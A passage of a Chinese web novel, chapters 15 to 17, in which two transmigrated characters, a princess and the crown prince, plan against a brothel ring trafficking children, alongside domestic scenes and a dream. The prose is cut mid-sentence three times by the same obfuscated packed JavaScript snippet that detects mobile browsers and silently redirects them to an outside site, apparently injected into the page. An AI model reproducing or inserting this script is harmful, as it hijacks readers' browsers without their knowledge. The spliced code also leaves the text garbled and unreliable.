赵煜悠悠说道:“白天不好掩人耳目,郊外空旷开阔,一览无余,反而更安全。还有,你最好少去那个茶馆,那里不干净。皇后最近估计都盯着我们。” 叶斯年一愣,不解道:“皇后不是看中我当太子妃吗?怎么听你说的,好像她还不放心,还想动手啊?” 赵煜轻笑了一声,声音低沉:“皇后没你想得那么简单,这女人对太子的感情很复杂的。” 叶斯年捂着嘴,眼睛瞪得圆圆的:“不是吧?这么劲爆!你不会告诉我,你不是她亲生的吧?” 赵煜扶额,闭上眼长长叹了口气,语气里满是无奈:“你能不能正常点?她毕竟先是皇后,然后才是母亲。她希望有一个完全受她掌控的太子妃,而不是……” “不是什么?”叶斯年追问道。 赵煜睁开眼,语气微微低了几分:“不是跟我走得太近的人。” 15. 你的盛世 卫珩将他们带到一片空旷的原野,四周一览无余,天光清透如洗,唯有秋风从远处的山口呼啸而来,带来不知来自何处的落叶。 赵煜展开信件,竟然还有一张卖身契。信纸在风中沙沙作响。他目光飞快掠过信上的内容,脸色逐渐沉了下来,将信递给叶斯年:“你自己看吧。” 叶斯年接过信,目光落在凌乱歪斜的字迹上,显然是一个人在极度仓促与绝望中写下的。她屏住呼吸,一字一句地读了下去: “宁安郡主,见信如面。草民知郡主仁心广施,又深知此事凶险,但草民别无选择,只能斗胆求助……这些年,草民漂泊无依,表面上是杂技班班主,实则暗中为花月阁物色孩童。草民此举,并非甘心,而是为了寻找我那被拐失散的女儿……若天佑良善,小女年岁应与郡主相仿。” 叶斯年的眉头一点点皱紧,继续往下读着。 “十余年前,小女不幸被拐。我本是一方商贾,为寻她散尽家财,奔波多年,终究音讯杳然。走投无路之下,我买下这杂技班,混迹市井,企图找到一线希望。后来,花月阁找上门,要我为其物色合适的孩童……为了接近那些人,我违背良知,做下无数伤天害理之事。至于阿秀,她天生力大无穷,若不施些手段,我根本无法控制她。我将她留在身边,不仅是为了敛财,也是为了自保。 近日得知,小女或许早已不在人世。我这一生罪孽深重,死不足惜。只求郡主能斩断此毒瘤,还天下无辜孩童一个公道。草民自戕谢罪,只盼小女在天之灵得以安息。” 读到最后,叶斯年的手指微微发颤。信中的这几行字,是这个可怜又可恨之人一生的缩影。他没有写下更多自责的话,或许是自知不配。可她不明白,明明有很多更直接的办法,为什么偏要选择这么极端的方式?万一她没发现那块磨盘,又该如何? 她攥紧手中的信,指节微微泛白,目光转向赵煜,声音微哑:“花月阁……到底是什么地方?” 赵煜单手负在背后,目光落向远处,没有任何焦点。他声音低沉:“花月阁,是一个潜藏在江湖与庙堂之间的毒瘤。表面上是风月场所,实则背后牵扯了太多权贵与秘密。” 他停顿片刻,似是在整理思绪,随后转头看向叶斯年,眼神深沉如渊:“我查了几年,依然摸不透幕后之人。有的线索是指向皇室成员的,而凡是接近线索的人,无一例外,全部死无全尸。” 他的嘴角微微勾起,却没有一丝笑意,声音低缓:“我要不是太子,早死了不知道多少次。卫珩几乎寸步不离地跟着我,也几次险些中招。” 赵煜盯着叶斯年,目光深沉,语气变得缓慢而郑重:“所以算我求你,别插手。” 叶斯年深吸一口气,低头看着手中的信件。就此收手,似乎是最好的选择。反正太子也在查,她不插手,顺从他的意思,也不算逃避。 可她真能全身而退吗?这件事若无人捅破,那些无辜死去和仍被囚困的孩童又该如何?班主以自戕传递的信息,难道就这样连个水花都没有? 叶斯年抬眼直视赵煜,唇角微微上扬,带着几分戏谑的弧度:“你不是让我好好考虑吗?我有个条件。” 赵煜微微一愣,显然没料到她会在此时提起这件事。他看向她,目光中带着几分探寻:“什么条件?” “你的盛世,分我一半。” 赵煜闻言一怔,随即唇角扬起一抹浅笑,秋日的阳光落在他的侧脸,映出几分柔和:“你是想垂帘听政,还是直接称帝?” 叶斯年闻言笑了笑,扬起眉梢,坦然问道:“可以吗?” “可以,只要你愿意。”赵煜也笑了,虽有几分轻松,却不失郑重。 叶斯年目光依旧平静如水。她语气铿锵:“我倒是希望大沅朝的后世能出几位女帝,不必是我。男女各一半,如何?” 她微微抬头,迎上赵煜的目光。四野的狂风掠过,拍打在她的脸上,发丝随风胡乱飞舞,但她仿佛全然未觉。风声呼啸,天地间喧闹不休,而她的声音却如山顶岿然不动的磐石,沉稳坚定:“我想要女子的盛世。” 赵煜静静听着她的话,心中微微一震。她的声音被风吹散,但那句话却是一石激起千层浪,使他久久无法平复。他沉默了片刻,仿佛在消化这份重量,许久才低声开口,语气中带着一丝郑重:“好,我答应你。” 叶斯年却是轻轻摇了摇头:“我不是要从你手里拿走什么,也不是在征求你的同意。我们想要的,从来只是作为人类的一半,应有的权利。” 赵煜看着眼前神色坚定的女子,一时有些失神。他从另一个世界来,对男女不平等这件事早有体会。即使在同样艰难的处境下,他总能比身边的女孩过得稍微好一些。他常帮助身边的女孩,但也只是因为他觉得女孩子柔柔弱弱,需要帮助。 可真的是这样吗?他脑海中浮现出那位女巨人的身影,那样高大、那样有力,和“柔弱”毫不沾边。而眼前的郡主,更是用行动一次次打破了他对女性的刻板印象。 “女性是人类的一半。”这是不争的事实。可他从未认真想过这意味着什么。作为当朝太子,他试图改变许多不公的现象,尝试建立育婴堂,改善陋习,推动法治建设。他以为这就够了,可是现在他却发现自己似乎从未真正关注过这个时代的女性正在遭遇什么。 他向来不喜欢那些世家娘子,觉得她们无趣、空洞,整日沉溺于女红与香道,毫无见地。可若她们也能研读兵书,精通博弈,游学四方呢?那又为何不可?是谁剥夺了她们选择的权利?又是谁让她们相信,自己生来就该如此? 赵煜的眉头微微皱起。他曾以为自己足够善良了,但回想起来,那种帮助却屡屡带着高高在上的俯视目光,缺乏真正的同理心。他第一次开始认真审视自己:他究竟是在改变这个世界,还是在往这个时代植入他脑海中根深蒂的社会秩序? 他沉默片刻,抬眼望去,眼前的女子依旧立于狂风之中,身影挺拔,神色从容而坚定。赵煜不由得轻叹一声,心底悄然生出几分敬意,甚至夹杂着一丝难以言说的羞愧。 赵煜难得露出几分认真,微微点头:“好,那你想怎么做,我全力配合你。” 叶斯年抬眉看了他一眼,语气平静却隐隐带着几分试探:“眼下的事情先过了吧。花月阁你打算怎么处理?总不能一直放着吧?” 赵煜抿了抿唇,目光望向远处,语气低沉:“花月阁一直有人盯着班主。昨晚你在仙乐坊闹出那么大动静,他们肯定知道。班主的死他们肯定要查,你与班主之间的对话可能都会被查出来。他们一定会试探你,甚至采取更极端的手段。” 他顿了顿,又说道:“班主的确是自杀,但除了这封信,没有留下任何口供。瑶安府我会安排,以‘畏罪自杀’尽快结案。” 他回过头看向叶斯年,目光冷静:“但现在我想知道,你为什么要救那个女巨人?” “本来是打算给她赎身,所以去浮生堂拿了五百两。后来班主说花月阁开口八百两,我一下子来气了,就决定抢人了。” 叶斯年语气若无其事地说着,赵煜这次也没有责备她鲁莽,反倒点了点头:“下次有什么行动,提前通知我一声。” 叶斯年微微颔首,没有反驳。赵煜接着问:“我调查过她,确实没什么可疑。现在你打算怎么安置她?” “她现在叫花梧,是我的护卫。我打算安排她去叶家军营训练。” “好。”赵煜缓缓点头,“那只要你打定主意就是相中她当你的护卫,这逻辑就能闭环。不过还有一点,班主希望你扳倒花月阁。以他对花月阁的恐惧,以及我这些年的调查,花月阁不可能真的出价八百两。这可能是班主故意激怒你,引起你对花月阁的注意。” 他目光沉了沉:“但是假如花月阁真的想要花梧,并且拿着卖身契找上门,你怎么打算?” 叶斯年淡然道:“我就说人已经在军营,本郡主有大用,轮不到一个风月场所来指手画脚。” 赵煜摇了摇头,语气稍显严厉:“不,你不能见他们。就当它是寻常风月场所,让家丁传话。” 叶斯年点头认可,目光却透着些许迷茫。赵煜注意到她的神情,问道:“在担心什么?” “我是一个未出阁的娘子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698876|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知道花月阁的事情很正常。可叶家不会不知道,这么做会不会连累他们?”她顿了顿,压低了声音,“叶将军知道我的事,待我很好。他肯定也在怀疑你,但他没有过问。” 赵煜微微一笑,语气笃定:“对叶太尉那样久经沙场的将军来说,太子是谁并不重要,甚至天子是谁也不重要。朝野上下都在揣测陛下对叶绍的恩宠出于何意,花月阁那帮人不会在这时候因为花梧与叶家正面冲突,但如果后续他们察觉到你与我同谋,那一切就会反扑。” 他说到这里,语气低沉了几分:“所以务必小心。这件事我来干,你就当个背后的智囊,别参与得太深。” “那你呢?”叶斯年问。 赵煜抬眸,神色坦然:“我跟他们交手多年了,即便你成了太子妃,只要我是那个‘不近女色’的太子,你就没事。就是委屈你了,可能对外我不会给你太多好脸色。” 叶斯年忽然想起瑾年的话,不由笑出声来,显得有些突兀。她连忙摆摆手:“不好意思,想起坊间对你的评价了。” 赵煜闭了闭眼,语气里带着几分无奈:“不近女色,手段凶残,是吧?” 叶斯年笑意更深,显然在等着他解释。 赵煜挑了挑眉,淡淡道:“那些宫女,全是这个那个安插进来的,各个心怀鬼胎,美人计、苦肉计,什么花样都有,争着当通房丫鬟。” 叶斯年笑得更大声:“没想到你还挺抢手啊!能送进来的,想必都是顶顶好看的吧?” 赵煜斜了她一眼,似有几分无奈。叶斯年接着调侃:“你也好看,大家互相不亏。怎么着,就真没看上哪一个?” 赵煜眉头微微一蹙,似有些无奈,但语气依然平静:“马上就是中秋宴了,你准备怎么办?到时候可不能像现在这样随心所欲,万一被别人听到看到,会说你是恃宠而骄的。你最好是迫不得已成为太子妃,让叶太尉推动会更稳妥些。” 叶斯年撇了撇嘴,没有吭声,只是低头摆弄着袖口,显得有些漫不经心。 赵煜轻叹一口气,话锋一转:“那皇后的诗词会呢?你打算怎么应对?” 叶斯年闻言,嘴角微微一扬,眼中闪过一抹狡黠:“还能怎么办?当然是大闹一场。” 赵煜听完一怔,眉头皱得更紧,语气里透着一丝惊讶:“你想干嘛?” 叶斯年抬了抬眉,神情轻松:“不用叶太尉出面,你就等着陛下给你赐婚吧。” 赵煜闻言,怔了一瞬,随即忍不住轻笑出声,看着她那副自信满满的模样,语气里带着几分揶揄:“说得好像陛下赐的就不是你的婚?” 叶斯年微微一愣,“婚姻”两个字在脑海中一闪而过,让她顿时感到一丝不自在。赵煜此刻就站在她身前,她这才真正意识到,这场所谓的合作,竟是以婚姻为载体的。 她下意识地抬手整理了下袖口,掩饰自己瞬间的慌乱,随即抿了抿唇,语气里透着几分刻意的轻松:“赐婚嘛……不就是我们的合作方式吗?” 她语气听上去理所当然,却始终没有抬头看赵煜。沉默了片刻,她强迫自己继续说道:“我是说……反正对咱们来说,不就是因为来自同个世界,为了方便合作,所以才选择婚姻作为合作方式。” 话一出口,她又觉得哪里有点不对,抬眼瞥了赵煜一眼,却看到他唇边似有若无的一抹笑意。她顿时有些窘迫,眉头一皱:“笑什么?这不是你先提的吗?” 赵煜挑了挑眉,似笑非笑地看着她,语气悠然:“我只是没想到,你这么快就看开了。” 叶斯年张了张嘴,却不知道该如何反驳,只得别过脸去,装作漫不经心地看向远处:“不然呢?” 赵煜微微叹了口气,无奈地说道:“走吧,花月阁估计已经出动了。” 叶斯年点了点头,没多言,提步走向马车。 四野荒风乍起,卷起地上的枯草,带着一阵凌乱的簌簌声。她走得轻快,身影被风扬起的发丝和衣袍衬得愈加洒脱。 赵煜驻足原地,任由狂风掠过,吹乱了他的呼吸。他声音极低,低到几乎被风卷散:“我可从来没说,这是合作。” 16. 梦境疑云 她在黑暗中赤身裸体地奔跑,四周寂静无风,寒气如利刃,直刺骨髓,每一步都伴随着剥皮拆骨般的剧痛。黑暗中有生命涌动,带着吞噬一切的压迫感。虚空中藏着一只无形的手,随时要将她拖入深渊。黑暗与寒冷带着毁灭的意志,让她知道只要稍作停顿,就会被冻结在无边的黑暗里,湮没于无尽的虚无之中。 她浑身的气力被抽干,每迈出一步都颤颤巍巍,随时要跪倒在这无尽的黑暗中。 忽然间,黑暗化作炽热岩浆,烈焰灼烧她的血肉。她张口呐喊,声音却被火焰吞没,连带着她的意识也在这炙热中一点点被焚毁殆尽。 “我是死了吗……”一个沉闷的声音在耳畔回荡,仿佛此人刚从深渊底部艰难地爬上来。 她环顾四周,四下皆是虚无。寒冷与灼热已退去,蚀骨的疼痛也无影无踪,取而代之的是散发着死亡气息的无尽黑暗。她仿佛已与黑暗融为一体,成为黑暗本身。 远处传来刺耳的车鸣声,一个模糊的身影在车水马龙之间仓促穿梭,步履凌乱。 “郡主,天亮了。”青枝的声音柔柔传来,将她从混乱的梦境中唤醒。 她猛然睁开眼,车鸣声还在耳畔回荡,那个模糊的身影仍在眼前晃动,挥之不去。青枝推门而入,晨光随着她的脚步爬向床边,如草地上奔跑的小狗,驱散了她的恐惧。 她怔怔地起身坐着,面容苍白。女孩的身影好似一幅被历史遗忘在角落的壁画,在角落晦暗的光里融作一缕缕尘埃,渐渐融进周围的环境。 她慌乱地掀开被子,环顾四周,目光最终落在那面铜镜上。黄铜镜布满划痕,镜中人影若隐若现,恍如水中月,如梦似幻。她再次意识到自己对这具身体的陌生——纤细而冰凉的指尖,触感生硬,仿佛覆着一道道厚厚的疤痕。 她犹豫着伸出手,指尖轻触镜面。镜身晃动,镜面泛起一圈涟漪。她猛地缩回手,眼中满是惊慌,生怕那镜中人会在她触碰的瞬间碎裂,消散在这晦暗的晨光中。 “是斯年吗?”她想起梦中那个在车水马龙的街道中央跌跌撞撞的女孩。那张脸似乎是她的,却像是在影院中看见误入镜头的自己,既熟悉又疏离。 她回忆起这些天发生的一切。从太子到花梧,再到青枝,许多人因为她的决定而偏离了原本的轨道,包括这具身体的主人——叶斯年。 梦境让她对斯年的灵魂是否去了现代心生疑虑,但理性告诉她,那或许是潜意识中不安与恐惧的投射。 无论斯年想要什么样的生活,她都无法替她去感受。起初,斯年想去参加中秋宴,让父亲和众人看见她的才华,洗清“癔症”或“疯癫”的污名,好好做叶府的嫡女。而她的最终期望,不过是假死之后,随父兄从军。 重活一世,她并不是替谁而活。她几乎已经笃定此生的目标——她要与太子同谋,借助他的身份,以太子妃甚至未来皇后的地位,去推动这个世界女子解放的进程,从大沅的男性手中,夺回属于女性的资源与话语权。 可这是叶斯年的身体,承载着叶斯年未竟的故事。即便斯年未必去了她的世界,但穿越这种事本就无法解释,说不准当时有什么契机让她真的穿越了呢?哪怕这种可能性微乎其微,她也必须为斯年留下一条退路。 她在心中默默定下了两个准则——第一,绝不能牵连叶府;第二,绝不能让这具身体遭受任何伤害。 这些天的行为,勉强还能算克制,只有杂技班班主的死,尚不清楚花月阁会如何解读。赵煜一再强调花月阁的危险,却始终没有透露其真正的底细。但不管怎样,她清楚这场对决不可避免。 想到赵煜,她感到一阵头痛。那个叫苏忆的少年穿越到太子身体里时不过二十岁,如今的赵煜也才十八。 她早已过了青春期,对感情向来淡漠,但现在却不得不面对一个青春期男孩投射在她身上惺惺相惜的感情。这种情感目前或许只是一剂慰藉,但若是赵煜心智不够成熟,难免会无端加戏,变成她无法回避的复杂局面。 如果有一天,斯年真的回到这具身体,而她已经以叶斯年的身份嫁入东宫,那又该如何收场?她隐约记得某年的上元节,斯年曾提起一位公子。 她在心中默默定下了第三条原则——绝不能与太子产生感情,绝不能成为事实夫妻。 “郡主?”青枝的声音轻轻响起,伴着手指落在她肩头的一点触感。 叶斯年依旧一动不动,镜面反射的光线映在她脸上,半明半暗。尘埃在光束中飞扬,密密麻麻如无形的网,缠绕在她周身。 她看起来,像是被光拘禁的灵魂。 “她不属于这里…..”这个念头突然浮现在青枝的脑海中。 “郡主?”青枝轻声唤道,眼眶已经微微泛红。 叶斯年肩头轻轻一颤,仿佛骤然惊醒,目光重新聚焦在眼前的铜镜上。她环顾四周,目光在房间里游离了一圈,好似某个旅途中的早晨,缓缓确认了自己身处何方。 “没事,就是做了个梦。” “郡主可是梦到娘子了?” 叶斯年眼中泛起的泪光已是回答。 “娘子可还好?”青枝的声音带着一丝颤抖。 “挺好的。”叶斯年轻轻点头,“我们也会好起来的。” 青枝端来药膏,说是林太医叮嘱的,眼角还需敷药。叶斯年正闭着眼上药,忽然听到外头周氏的声音传来。 周氏这几日总往她院里搬衣服,成箱成箱的,都快堆满了。 “斯年,过几日便是中秋宴了,你看看,到时候要穿哪一套?你赐封郡主时赏下的珠宝,都在后院的库房里供着,挑些喜欢的戴。姨娘怕不合你的心意,特意来问问。” 叶斯年还敷着眼睛,淡淡说道:“多谢姨娘费心。” 周氏站在门边,迟迟未走,显然还有话要说。叶斯年侧了侧头,吩咐道:“青枝,你陪花梧先去库房,看看有什么趁手的兵器。” 青枝应声离开,周围顿时安静下来。叶斯年缓缓转过头,闭着眼朝着周氏所在的方向。 周氏犹豫了片刻,终于开口:“斯年,以往之事,是我不对,今日特来向你赔罪。再过几日,府中家眷都要迁往新府衙,我会住在那边的小院,往后自会远离,不再扰你清静。只是……只是我有一事相求。” “瑾年的事,对吗?”叶斯年将敷在眼睛上的药取下,语气平静。 周氏神色微微一窒,站在那里有些扭捏不安。 “瑾年是个单纯的孩子……” “我知道,你是个很好的母亲。”叶斯年打断了她,语气温和,目光却带着淡淡的疏离。这句话她是真心的——在她看来,周氏对瑾年确实尽了全力,包括站在这里向晚辈赔罪。 周氏没想到叶斯年会说出这样的话,眼泪瞬间滑落。 周氏哽咽着说道:“我出身寒门庶女,自小卑微低贱。当年嫁入叶府,全因家父与老将军的一场机缘,那时家中嫡姐早已出嫁……” 叶斯年听出了她话里的怨气,似乎对她自己与叶绍的这门婚事心存不甘。 周氏顿了顿,目光低垂,语气中透着一丝疲惫和不安,继续说道:“身为母亲,我只是不愿瑾年步我的后尘。你无论如何都是叶府嫡女,如今更是宁安王府的郡主。而瑾年终究是庶女,母族又是落魄寒门……我担心她这一生,终究难以如愿。” “你的歉意我收下了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698877|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”叶斯年语气温和,目光平静,“叶府不是寒门,也不再是落魄世家,你不必过于费心谋划。只要做好瑾年的母亲,其他的事自然水到渠成。” 周氏抬眼看了看叶斯年,又迅速移开视线。片刻后,她整理好神色,说道:“你此番入宫,皇后娘娘定会试探你。我知你才学出众,一定能安然度过。日后还需你多提点提点瑾年。” 叶斯年对周氏的心思了然于胸,无非是希望取得她的谅解,日后好开口让她为瑾年谋个好亲事。叶绍一向对这些事不上心,连叶斯年是否入宫都交由她自行决断,更别提操心瑾年的婚事。周氏心里明白,若她不主动为瑾年筹谋,恐怕最终只能任由谁家上门提亲便草草定下。 “瑾年如此善良可爱,定会一生顺遂。至于其他事,还需看瑾年自己的意愿。”叶斯年的语气总是带着几分疏离。方才的梦境仍令她心神不宁,未来的走向更是难以预料。若瑾年与她牵扯得太深,恐怕反而会离那份顺遂更远。 周氏闻言,似是有些失望。片刻后,她叹了口气,语气低了几分:“瑾年年纪还小,终归是个孩子,她……她能懂得什么意愿?女子有太多意愿,未必是好事。” 她抬起头,目光中夹杂着些许犹疑和恳求:“斯年,若日后你成了太子妃,能帮衬着她些,不管她嫁到哪家,都能有个依仗。将军对这些事总是不上心的。日后你若入宫也要多加小心。” 叶斯年静静地看着她,没有立刻答话。窗外一阵秋风掠过,落叶纷飞。周氏眼神失焦,似是陷入自己的回忆中。 “姨娘,”叶斯年终于开口,“你为她谋划太多,未必是好事。她的善良可爱,才是她最大的依仗。倘若你用心良苦,却将她推向了冷漠无情的婚姻,那才是害了她。” 周氏怔住,手指微微颤抖着攥紧衣袖。她像是想说什么,却终究咽了下去,只能讷讷点头。 “那我就不打扰你休息了。这几日若有什么需要,你让青枝过来说一声便可。老爷也快回府了,王府那边的住所都安排妥当,你择日搬过去即可。” 叶斯年微微一笑,算作回应。周氏转身离去,瘦削的背影在青石板上投下一道长长的剪影,像寥寥几笔勾勒出的画稿,是这个时代无数女性的缩影。她卑微却坚韧,用仅有的手段和资源,竭力为女儿争取摆脱庶女的命运。更难得的是,她将瑾年培养得如此单纯善良,未沾一丝怨怼之气。 叶斯年目送周氏离开,心中复杂。周氏所作所为谈不上恶毒,只能说愚蠢。她对周氏谈不上多恨,只是原谅的话由不得她去说。从周氏的话中,也不难听出她入叶府前似乎也有一段辛酸往事。 她不由得想起了另一个世界的母亲。那个母亲的所作所为,是完整复制了她自己的母亲。她一定深知其中的痛楚,却选择将女儿拉进这名为女性的沼泽,因为这就是她所理解的生为女人的一生。她的母亲的母亲,也必定如此。 母亲的不幸,像一种传女不传男的基因,刻入血脉,代代相承。在母亲的怨恨与恐惧中诞生的女儿,就是先天不足的女性,她们中有些人会接过母亲的怨气继续前行。这份数代女性积累的怨气,就像河流中隐藏的暗礁,一次又一次将女儿起帆的船只撞得粉碎。 但周氏却不是这样的母亲。在这个本该重男轻女的时代,周氏没有因承骁和承勇而忽略瑾年,反而倾尽心力为瑾年谋划,即便手段拙劣。她从未提及自己的过往,显然也没有将怨气传递给瑾年。 只是关于叶绍,她始终想不明白。她对叶绍的印象一向很好,可从周氏的只言片语中,却隐约透出他是不顾妻女的人。 她对叶府的往事生出几分好奇。想来,斯年从前大概也并不知晓这些隐秘。 17. 暗潮汹涌 院中传来刀风破空的声音,伴随着刀刃沉重的挥舞声。叶斯年听见动静,想起方才让青枝带花梧挑选兵器的事,便起身走到院子里。 花梧身着深蓝色束袖长袍,外罩一件黑色短袖褙子,袖口束着皮质臂鞲。她身长七尺,骨骼粗壮,身材高挑匀称,却生着一张秀丽的面庞,鼻梁高挺,剑眉星目。那双眼睛清澈柔和,流露出女子特有的温润,目光流转见略显笨拙的温柔为她平添一丝亲和。她原本乱糟糟的头发,这几日被青枝细心打理得整齐清爽,发髻的样式一看就是青枝的手笔。 偃月刀在她手中上下翻飞,仿佛毫不费力,刀刃划破空气,发出低沉的破风声。动作虽略显生涩,宛如初入江湖的侠客。锋芒藏于举手投足之间,温柔与凌厉交织,俨然是一个即将书写传奇的人物雏形。 青枝站在一旁,忍不住说道:“郡主,这刀是沉稳,可未免太过笨重了吧?真遇上敌人,怕是挥不开。平常也没什么人用,都快成废铁了。” 叶斯年微微一笑,走到花梧身边,目光落在刀身上。那刀与花梧的身形几乎相仿,寻常人哪里挥得动这等重兵器。 “这刀挺适合阿梧。先练着,回头练成了再找人打一把更称手的偃月刀。” 她转身回屋拿出一卷布条,熟练地示范如何交叉缠在手腕和膝盖处:“像这种重兵器,最容易伤到关节。训练时,记得裹紧关节保护好自己。否则时间长了,关节肯定会出问题。” “挥刀时不要全靠蛮力,”叶斯年拿着一根长棍示范握刀的动作,一边认真地说道,“力气从下肢开始,脚稳稳站住,重心下沉,脚蹬地提供支撑,转动髋部,用核心力量将力传递到上半身,再通过肩膀带动手臂挥动武器。手腕只能用来调整方向,不能直接发力,否则时间久了,手腕和关节会撑不住。” 她顿了顿,目光落在花梧手中沉重的偃月刀上,补充道:“你的力气很大,身体本身的重量也很大。如果用力不当,也可能伤到自己的。钢铁都会疲劳断裂,何况肉体凡胎。筋骨关节都是有使用期限的。” 花梧低头看着自己的手腕,神情郑重,认真地点了点头:“多谢郡主教诲,我会注意的。” 叶斯年对青枝说道:“去扯一匹绢布,裁成长条给阿梧。另外,找个有名的骨科大夫,开几贴药给她敷敷全身的关节。她这些年想必积了不少暗伤。如果能有药浴之类的疗法,那就更好了。” 青枝忙应了一声,随后垫起脚,拍了拍花梧的肩膀,带着笑意打趣道:“听见了吗?牢牢谨记郡主的话,别再用蛮力了。” 叶斯年继续说道:“我略懂一些搏击技巧,眼下能教你的也就这些。过几日父亲回京,我会安排你进军营学习,跟真正的高手切磋。” 她稍顿了一下,目光落在花梧身上,继续说道:“至于你的身份问题,班主将你的卖身契附在信中交给了我,此事牵涉复杂,日后再详说。我会以宁安王府的名义免去你的旧籍,让你以郡主护卫的身份登记新籍,就叫花梧。至于日后怎么安排,视情况而定。” 花梧闻言,双拳紧握,眼神中透出一抹激动,却又克制着不敢过分表露:“多谢郡主!阿梧日后必定为郡主效死!” 叶斯年连忙摆了摆手:“别死不死的,万事都没有自己重要,先保护好自己。” 青枝抱着比她高出一大截的偃月刀,笑得灿烂,试着挥了一下,结果纹丝不动,累得直喘气。她抹了抹额头,歪着头说道:“郡主,这刀快比我还重了!” 她随即把刀推给花梧,转头问道:“郡主,咱们什么时候搬过去?我前几日已经把些闲置的东西先送过去了,皇城区里可漂亮了!” 她轻轻一笑,随即说道:“择日不如撞日,就今天搬吧。” “是!”青枝欢快地应声。一旁的花梧也稳稳点头。 秋日的阳光穿过薄薄的云层,落在瑶京城的每一寸砖瓦上,为整个瑶京罩上了一层金色的光辉。这几日,叶府上下忙碌不已,宁安王府的宅邸早已收拾妥当,一派新气象。 宁安王府东院,叶斯年倚在窗边,手中翻动着一本旧书,目光却不时飘向院中忙碌的景象,书页早已停在一处未再翻过。 “郡主!”青枝推门而入,手里捧着一只精美的漆盒,脸上带着些兴奋,“卫珩大人刚送来的,说是……太子殿下吩咐的。” 叶斯年将手中的书合上,接过漆盒。盒中躺着几件小巧别致的物件:一枚古朴而精致的小型罗盘,一支琉璃制成的笔,在阳光下折射出剔透的光泽,形似现代的玻璃笔。还有一套雕刻精美的沙漏,金色的流沙缓缓流下,底座上刻着不同的时间刻度,从一刻到一个时辰不等。 “还有一封信。”青枝递过一张折好的信笺,小心翼翼地观察着叶斯年的神情。 叶斯年展开信笺,随信还附着一张五百两的银票。信上的字迹清秀流畅,语气轻松随意,带着几分调侃,仿佛是写给老友的随笔。 “郡主大人见信如晤。听闻您近日乔迁,本宫不免俗,备了一些小玩意儿权作贺礼。这些物件都是我私藏的宝贝,特别是那只笔,找遍了大沅的琉璃匠,才制出来。若郡主觉得书法无双,瞧不上这点小器具,就当装饰摆着吧,聊以解闷。 至于皇后,您大可放心,我已替您挡下。她提到您行事莽撞,我便说这是我看中的‘巨人’,正好想安排到军中,而叶太尉又恰巧不在瑶京,郡主心善不忍女子遭遇非法囚禁,出手相助。她信了,也乐见我与叶太尉交好,事情到此无虞。 随信附上五百两银票,郡主该吃吃该喝喝,莫要委屈自己。” 叶斯年看着这信,忍不住微微勾起唇角,摇了摇头。 她拿起火折子,将信笺化作灰烬。这似乎成了她的习惯。青枝站在一旁,神色隐隐透着担忧。叶斯年察觉到她的紧张,随口说道:“没什么大事,只是小心为上。” 她拿起琉璃笔,在阳光下细细端详。晶莹剔透的笔身折射出一抹彩虹,晕染在她的眼眸中。她轻轻转动笔身,若有所思,光影随之流转,伴着一声轻叹隐在微微扬起的嘴角间。最近,她总试图从光影中窥见些什么,却也害怕真的看见什么。 青枝好奇问道:“郡主,这物件看着像一支笔,可它真的能写字吗?” “试试看。”叶斯年说着,将笔尖蘸了些墨汁,用硬笔的握笔方式,在纸上缓缓写下她熟练的瘦金体。笔尖划过纸面的声音清晰而流畅,墨迹均匀,竟然能一气呵成地写下五十余字。 青枝凑近看着纸上的字,眼中满是惊讶:“郡主的字也太好看了,这笔也是个稀罕物。” 叶斯年放下笔,轻轻点头,颇为满意:“还算不错。卫珩走了吗?” 青枝摇摇头,忍着笑答道:“没呢,卫大人被二娘揪着不放。” “什么?”叶斯年愣了一下,脑海里立刻闪过上次瑾年拽着卫珩进来的情景,心里暗自吐槽:怎么又扯上了? 她匆匆赶到前院,正好看到瑾年拦着卫珩,两人僵持不下。周氏这几天忙着搬家,也没空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14698878|156999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着瑾年。瑾年是善良又可爱,可她被管束得久了,一放松就容易闹出点小状况。她胆子跟猫似的,偏偏一不留神就犯虎。卫珩也不知是怎么又招惹了她。 叶斯年刚到,卫珩已经看见她,立即行礼:“参见郡主。” “这是怎么了?”叶斯年看了看拦在卫珩面前的瑾年,皱眉问道。瑾年分明怕太子怕得要命,怎么知道卫珩是太子身边的人,还这么大胆? 瑾年急忙道:“阿姐你可算来了!我想给他赔礼,他偏不让!” 卫珩露出个无奈的笑,抱拳道:“二娘子不必多礼,卫珩皮糙肉厚,真没碍事。更没有告到太子殿下那里去……” 叶斯年无语地看着两人,总算听明白了怎么回事,却没打算掺和,直接对卫珩说道:“东西收到了。我就不回信了,你带句话吧——盒子挺好看。银票就拿回去吧。我用不上,放身上还危险。” 卫珩只点头应道:“属下记下了。” 